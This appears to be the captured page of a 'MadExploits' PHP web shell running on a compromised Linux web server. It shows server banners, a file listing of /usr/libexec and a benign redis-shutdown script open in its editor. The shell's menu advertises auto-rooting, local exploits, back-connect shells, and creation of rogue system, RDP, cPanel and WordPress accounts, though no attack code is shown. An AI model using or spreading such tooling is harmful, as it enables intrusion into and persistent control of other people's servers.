Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
[ HOME SHELL ]
Name
Size
Permission
Action
awk
[ DIR ]
drwxr-xr-x
coreutils
[ DIR ]
drwxr-xr-x
dbus-1
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
gcc
[ DIR ]
drwxr-xr-x
getconf
[ DIR ]
drwxr-xr-x
git-core
[ DIR ]
drwxr-xr-x
grubby
[ DIR ]
drwxr-xr-x
initscripts
[ DIR ]
drwxr-xr-x
linux-boot-probes
[ DIR ]
drwxr-xr-x
man-db
[ DIR ]
drwxr-xr-x
microcode_ctl
[ DIR ]
drwxr-xr-x
openldap
[ DIR ]
drwxr-xr-x
openssh
[ DIR ]
drwxr-xr-x
os-probes
[ DIR ]
drwxr-xr-x
p11-kit
[ DIR ]
drwxr-xr-x
p7zip
[ DIR ]
drwxr-xr-x
plymouth
[ DIR ]
drwxr-xr-x
postfix
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
sudo
[ DIR ]
drwxr-xr-x
tuned
[ DIR ]
drwxr-xr-x
utempter
[ DIR ]
drwxr-xr-x
chrony-helper
6.37
KB
-rwxr-xr-x
ebtables
1.66
KB
-rwxr-xr-x
generate-rndc-key.sh
546
B
-rwxr-xr-x
gnupg-pcsc-wrapper
19.3
KB
-rwxr-xr-x
gpg-check-pattern
102.95
KB
-rwxr-xr-x
gpg-preset-passphrase
86.39
KB
-rwxr-xr-x
gpg-protect-tool
185.57
KB
-rwxr-xr-x
gpg2keys_curl
44.81
KB
-rwxr-xr-x
gpg2keys_finger
61.34
KB
-rwxr-xr-x
gpg2keys_hkp
53
KB
-rwxr-xr-x
gpg2keys_ldap
61.02
KB
-rwxr-xr-x
grepconf.sh
253
B
-rwxr-xr-x
newns
7.03
KB
-rwxr-xr-x
nm-dhcp-helper
15.12
KB
-rwxr-xr-x
nm-dispatcher
47.7
KB
-rwxr-xr-x
nm-iface-helper
839.36
KB
-rwxr-xr-x
nm-ifdown
155
B
-rwxr-xr-x
nm-ifup
153
B
-rwxr-xr-x
platform-python
6.98
KB
-rwxr-xr-x
redis-shutdown
1.09
KB
-rwxr-xr-x
tcawmgr.cgi
19.56
KB
-rwxr-xr-x
urlgrabber-ext-down
2.54
KB
-rwxr-xr-x
virt-what-cpuid-helper
7.02
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : redis-shutdown
#!/bin/bash # # Wrapper to close properly redis and sentinel test x"$REDIS_DEBUG" != x && set -x REDIS_CLI=/usr/bin/redis-cli # Retrieve service name SERVICE_NAME="$1" if [ -z "$SERVICE_NAME" ]; then SERVICE_NAME=redis fi # Get the proper config file based on service name CONFIG_FILE="/etc/redis/$SERVICE_NAME.conf" # Use awk to retrieve host, port from config file HOST=`awk '/^[[:blank:]]*bind/ { print $2 }' $CONFIG_FILE | tail -n1` PORT=`awk '/^[[:blank:]]*port/ { print $2 }' $CONFIG_FILE | tail -n1` PASS=`awk '/^[[:blank:]]*requirepass/ { print $2 }' $CONFIG_FILE | tail -n1` SOCK=`awk '/^[[:blank:]]*unixsocket\s/ { print $2 }' $CONFIG_FILE | tail -n1` # Just in case, use default host, port HOST=${HOST:-127.0.0.1} if [ "$SERVICE_NAME" = redis ]; then PORT=${PORT:-6379} else PORT=${PORT:-26739} fi # Setup additional parameters # e.g password-protected redis instances [ -z "$PASS" ] || ADDITIONAL_PARAMS="-a $PASS" # shutdown the service properly if [ -e "$SOCK" ] ; then $REDIS_CLI -s $SOCK $ADDITIONAL_PARAMS shutdown else $REDIS_CLI -h $HOST -p $PORT $ADDITIONAL_PARAMS shutdown fi
Close